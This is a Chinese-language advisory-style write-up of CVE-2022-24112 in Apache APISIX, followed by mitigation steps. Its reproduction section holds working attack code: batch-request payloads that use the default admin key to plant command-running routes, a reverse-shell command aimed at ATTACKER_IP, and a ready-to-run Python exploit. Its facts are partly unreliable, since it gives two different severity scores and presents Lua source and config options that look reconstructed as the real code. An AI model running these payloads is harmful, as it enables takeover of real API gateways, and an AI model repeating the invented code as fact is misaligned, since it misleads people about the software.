一、漏洞简介¶
1.1 漏洞背景¶
Apache APISIX 的 batch-requests 插件允许客户端在单个请求中批量发送多个 HTTP 请求。该插件在处理请求时存在逻辑缺陷,攻击者可以构造特殊的批量请求来伪造客户端 IP,从而绕过 Admin API 的 IP 访问限制。结合默认的 API Key,可实现远程代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-24112 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | Admin API RCE(远程代码执行) |
| 披露时间 | 2022-02-11 |
| 影响组件 | Apache APISIX |
- CVE编号: CVE-2022-24112
- 危害等级: 严重 (Critical)
- CVSS评分: 10.0 (最高级)
- CWE分类: CWE-290 (Authentication Bypass by Spoofing)
- 漏洞类型: 认证绕过 + 远程代码执行
- 影响组件: batch-requests 插件 + Admin API
补充核验信息:公开时间:2022-02-11;NVD 评分:9.8(CRITICAL);CWE:CWE-290。
二、影响范围¶
2.1 受影响的版本¶
- Apache APISIX 1.3 ~ 2.12.1
- Apache APISIX 2.10.0 ~ 2.12.1 (受影响最严重)
2.2 不受影响的版本¶
- Apache APISIX 2.13.0 及以上版本
- 未启用
batch-requests插件的实例 - 已修改默认 admin_key 且配置了 IP 白名单的实例(风险较低但仍存在绕过可能)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 启用了
batch-requests插件(默认启用) - Admin API 使用默认 admin_key
- Admin API 配置了 IP 白名单,但未禁用 batch-requests 插件
- 攻击者可访问 APISIX 的数据平面端口(默认 9080)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击链路:
攻击者 → APISIX数据平面(9080) → batch-requests插件 → 伪造IP →
Admin API(9180) → 认证成功 → 创建恶意路由 → 触发RCE
核心问题:
1. batch-requests 插件允许在请求体中指定目标 IP 和端口
2. 插件会将请求转发到指定的地址,包括本地 Admin API
3. 管理端看到的是转发的内部 IP (如 127.0.0.1),而非真实攻击者 IP
4. 结合默认 API Key,即可完全控制 APISIX
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码 (apisix/plugins/batch-requests.lua - 2.12.1及之前):
function _M.access(conf, ctx)
local req_body = core.json.decode(core.request.get_body())
for _, sub_req in ipairs(req_body.pipeline) do
-- 问题1: 未验证目标地址是否为内部服务
local target_url = sub_req.url or sub_req.path
-- 问题2: 支持任意 Host 头,可伪造来源
local headers = sub_req.headers or {}
-- 问题3: 虽然有 IP 检查,但实现有缺陷
local client_ip = core.request.get_client_ip()
if not is_trusted_ip(client_ip) then
-- 这个检查可以被绕过,因为 batch-requests 会转发请求
-- 管理端看到的 IP 是 127.0.0.1 (本地转发)
end
-- 执行子请求
local res = ngx.location.capture(
"/_internal_batch_request",
{
method = sub_req.method,
body = sub_req.body,
args = {
url = target_url,
headers = core.json.encode(headers)
}
}
)
end
end
绕过机制详解:
1. 正常情况:
外部攻击者(1.2.3.4) → Admin API(9180)
Admin API 检查: 1.2.3.4 不在白名单 → 拒绝 ❌
2. 利用 batch-requests 绕过:
外部攻击者(1.2.3.4) → batch-requests(9080) → Admin API(9180)
batch-requests 转发请求到 localhost:9180
Admin API 检查: 127.0.0.1 在白名单 → 允许 ✓
攻击成功!
补丁修复方案 (2.13.0):
function _M.access(conf, ctx)
local req_body = core.json.decode(core.request.get_body())
for _, sub_req in ipairs(req_body.pipeline) do
local target_url = sub_req.url or sub_req.path
-- 修复1: 禁止访问内部服务
local parsed = url_parse(target_url)
local target_host = parsed.host
local target_port = parsed.port or 80
-- 黑名单检查
if is_internal_service(target_host, target_port) then
return 403, {error_msg = "Access to internal services is forbidden"}
end
-- 修复2: 强制保留原始客户端 IP
local real_client_ip = core.request.get_original_client_ip()
headers["X-Real-IP"] = real_client_ip
headers["X-Forwarded-For"] = real_client_ip
-- 执行子请求
local res = ngx.location.capture(...)
end
end
function is_internal_service(host, port)
-- 检查是否为本地地址
if host == "127.0.0.1" or host == "localhost" or host == "::1" then
return true
end
-- 检查是否为内网地址
local ip_addr = ngx.var.remote_addr
if is_private_ip(host) then
return true
end
-- 检查是否为 Admin API 端口
local admin_port = ngx.var.admin_port or 9180
if port == admin_port then
return true
end
return false
end
配置改进:
# 新增安全配置选项
plugins:
- batch-requests
plugin_attr:
batch-requests:
# 修复后的安全选项
allow_admin_access: false # 禁止访问 Admin API (默认 false)
allowed_hosts: # 白名单允许访问的主机
- "api.example.com"
- "backend.internal"
max_batch_size: 100 # 限制批量请求数量
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用官方 Docker Compose 快速搭建测试环境:
# docker-compose.yml
version: "3"
services:
etcd:
image: bitnami/etcd:3.4.15
environment:
- ALLOW_NONE_AUTHENTICATION=yes
ports:
- "2379:2379"
apisix:
image: apache/apisix:2.12.1-debian
volumes:
- ./config.yaml:/usr/local/apisix/conf/config.yaml:ro
ports:
- "9080:9080" # 数据平面
- "9180:9180" # 管理平面
depends_on:
- etcd
config.yaml (存在漏洞的配置):
apisix:
admin_key:
- name: "admin"
key: edd1c9f034335f136f87ad84b625c8f1 # 使用默认密钥
role: admin
allow_admin:
- 127.0.0.0/24 # 仅允许本地访问(将被绕过)
plugins:
- batch-requests # 启用批量请求插件
deployment:
admin:
admin_listen:
port: 9180
# 启动环境
docker-compose up -d
# 验证服务状态
curl http://localhost:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"
4.2 PoC 演示与测试过程¶
步骤1: 验证 IP 白名单生效(正常情况)
# 从外部 IP 访问应该被拒绝
curl -i http://localhost:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"
# 预期响应:
# HTTP/1.1 403 Forbidden
# {"error_msg": "IP address not allowed"}
步骤2: 使用 batch-requests 绕过 IP 限制
# 构造恶意批量请求
cat > exploit.json << 'EOF'
{
"pipeline": [
{
"method": "GET",
"url": "http://127.0.0.1:9180/apisix/admin/routes",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
}
}
]
}
EOF
# 通过 batch-requests 端点发送请求(从数据平面端口进入)
curl -X POST http://localhost:9080/apisix/batch-requests \
-H "Content-Type: application/json" \
-d @exploit.json
# 预期响应(绕过成功):
# [{"status":200,"body":"{\"node\":{...}}"}]
步骤3: 利用漏洞创建恶意路由实现 RCE
# 创建使用 serverless 插件的路由
cat > rce_poc.json << 'EOF'
{
"pipeline": [
{
"method": "PUT",
"url": "http://127.0.0.1:9180/apisix/admin/routes/666",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
},
"body": "{\"uri\":\"/rce\",\"plugins\":{\"serverless-pre-function\":{\"phase\":\"access\",\"functions\":[\"return function(conf, ctx) local file = io.popen('id') local output = file:read('*all') file:close() ngx.say(output) end\"]}},\"upstream\":{\"nodes\":{\"127.0.0.1:80\":1},\"type\":\"roundrobin\"}}"
}
]
}
EOF
# 执行攻击
curl -X POST http://localhost:9080/apisix/batch-requests \
-H "Content-Type: application/json" \
-d @rce_poc.json
# 预期响应: [{"status":201,"body":"..."}]
步骤4: 触发 RCE
# 访问创建的恶意路由
curl http://localhost:9080/rce
# 预期输出(命令执行结果):
# uid=0(root) gid=0(root) groups=0(root)
步骤5: 高级利用 - 反弹 Shell
cat > reverse_shell.json << 'EOF'
{
"pipeline": [
{
"method": "PUT",
"url": "http://127.0.0.1:9180/apisix/admin/routes/777",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
},
"body": "{\"uri\":\"/shell\",\"plugins\":{\"serverless-pre-function\":{\"phase\":\"access\",\"functions\":[\"return function(conf, ctx) os.execute('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') end\"]}},\"upstream\":{\"nodes\":{\"127.0.0.1:80\":1},\"type\":\"roundrobin\"}}"
}
]
}
EOF
curl -X POST http://localhost:9080/apisix/batch-requests \
-H "Content-Type: application/json" \
-d @reverse_shell.json
# 触发反弹 shell
curl http://localhost:9080/shell
完整的 PoC 脚本:
#!/usr/bin/env python3
"""
CVE-2022-24112 - Apache APISIX Batch Requests RCE Exploit
"""
import requests
import json
import sys
def exploit(target, command):
"""利用 batch-requests 绕过认证并执行命令"""
# 构造恶意路由
payload = {
"pipeline": [
{
"method": "PUT",
"url": f"http://127.0.0.1:9180/apisix/admin/routes/exploit",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
},
"body": json.dumps({
"uri": "/exploit",
"plugins": {
"serverless-pre-function": {
"phase": "access",
"functions": [
f"return function(conf, ctx) local f = io.popen('{command}') local r = f:read('*all') f:close() ngx.say(r) end"
]
}
},
"upstream": {
"nodes": {"127.0.0.1:80": 1},
"type": "roundrobin"
}
})
}
]
}
# 发送批量请求
batch_url = f"http://{target}:9080/apisix/batch-requests"
print(f"[*] Sending exploit to {batch_url}")
try:
response = requests.post(
batch_url,
json=payload,
headers={"Content-Type": "application/json"},
timeout=10
)
if response.status_code == 200:
print("[+] Exploit sent successfully!")
# 触发 RCE
trigger_url = f"http://{target}:9080/exploit"
print(f"[*] Triggering RCE at {trigger_url}")
result = requests.get(trigger_url, timeout=5)
print(f"[+] Command output:\n{result.text}")
return True
else:
print(f"[-] Exploit failed: {response.text}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_ip> <command>")
print(f"Example: {sys.argv[0]} 192.168.1.100 'id'")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2]
print(f"[*] Exploiting CVE-2022-24112")
print(f"[*] Target: {target}")
print(f"[*] Command: {command}")
exploit(target, command)
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到 APISIX 2.13.0 或更高版本:
# 检查当前版本
apisix version
# 备份当前配置和数据
cp -r /usr/local/apisix /usr/local/apisix.backup
# 升级到最新稳定版 (示例: 3.15.0)
cd /tmp
wget https://github.com/apache/apisix/archive/refs/tags/3.15.0.tar.gz
tar -xzf 3.15.0.tar.gz
cd apisix-3.15.0
# 安装依赖
make deps
# 替换旧版本
systemctl stop apisix
rm -rf /usr/local/apisix/apisix
cp -r /usr/local/apisix /usr/local/apisix.old
cp -r . /usr/local/apisix/
# 启动新版本
systemctl start apisix
apisix version
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案1: 禁用 batch-requests 插件(推荐,如不需要)
# 编辑 config.yaml
plugins:
- api-breaker
- authz-keycloak
# - batch-requests # 注释或删除此行
- basic-auth
- ... (其他插件)
# 重启 APISIX 使配置生效
systemctl restart apisix
方案2: 配置插件属性限制访问
# 在 config.yaml 中添加
plugin_attr:
batch-requests:
# 禁止访问管理平面
reject_admin: true
# 限制可访问的目标地址(白名单)
whitelist:
- "api.yourcompany.com"
- "backend-*.internal"
# 限制批量请求数量
max_pipeline_size: 10
方案3: 网络层隔离(多层防御)
# 方案 A: 完全分离数据平面和管理平面网络
# 数据平面 (9080) - 可从外网访问
# 管理平面 (9180) - 仅内网访问
# 使用防火墙规则
# 允许内网访问管理平面
iptables -A INPUT -p tcp --dport 9180 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9180 -j DROP
# 数据平面正常开放
iptables -A INPUT -p tcp --dport 9080 -j ACCEPT
方案4: 修改默认 admin_key 并启用 IP 白名单
apisix:
admin_key:
- name: "admin"
key: "$(openssl rand -hex 32)" # 生成 64 位随机密钥
role: admin
# IP 白名单(如果必须保留 batch-requests)
allow_admin:
- 127.0.0.1 # 本地
# 添加其他必要的管理主机
- 10.100.1.50
方案5: 使用 WAF 规则拦截
ModSecurity 规则:
# 规则1: 检测可疑的 batch-requests 请求
SecRule REQUEST_URI "@streq /apisix/batch-requests" \
"id:2001,phase:1,pass,msg:'APISIX batch-requests detected',\
setvar:tx.batch_requests=1"
# 规则2: 检查请求体中是否包含 127.0.0.1:9180
SecRule REQUEST_BODY "@contains 127.0.0.1:9180" \
"id:2002,phase:2,deny,status:403,msg:'Attempt to access APISIX Admin API via batch-requests',\
chain,logdata:'IP: %{REMOTE_ADDR}'"
SecRule TX:BATCH_REQUESTS "@eq 1"
Nginx 配置:
# 在 APISIX 前端添加 Nginx 反向代理
location /apisix/batch-requests {
# 限制请求体大小
client_max_body_size 10k;
# 限流
limit_req zone=batch_limit burst=5 nodelay;
# 内容检查
if ($request_body ~* "127\.0\.0\.1:9180") {
return 403;
}
if ($request_body ~* "X-API-KEY.*edd1c9f034335f136f87ad84b625c8f1") {
return 403;
}
proxy_pass http://apisix_backend;
}
# 限流配置
limit_req_zone $binary_remote_addr zone=batch_limit:10m rate=10r/s;
方案6: 监控和告警
# 配置 APISIX 日志
nginx_config:
error_log: "/usr/local/apisix/logs/error.log warn"
http:
access_log: "/usr/local/apisix/logs/access.log"
# 在日志中监控可疑活动
plugins:
- file-logger
# 配置告警规则 (Prometheus + Alertmanager 示例)
# 检测异常的 batch-requests 使用
- alert: SuspiciousBatchRequests
expr: rate(apisix_http_requests_total{uri="/apisix/batch-requests"}[5m]) > 10
for: 2m
labels:
severity: high
annotations:
summary: "异常的 batch-requests 活动检测"
description: "IP {{ $labels.instance }} 在5分钟内发送了超过 10 个 batch-requests 请求"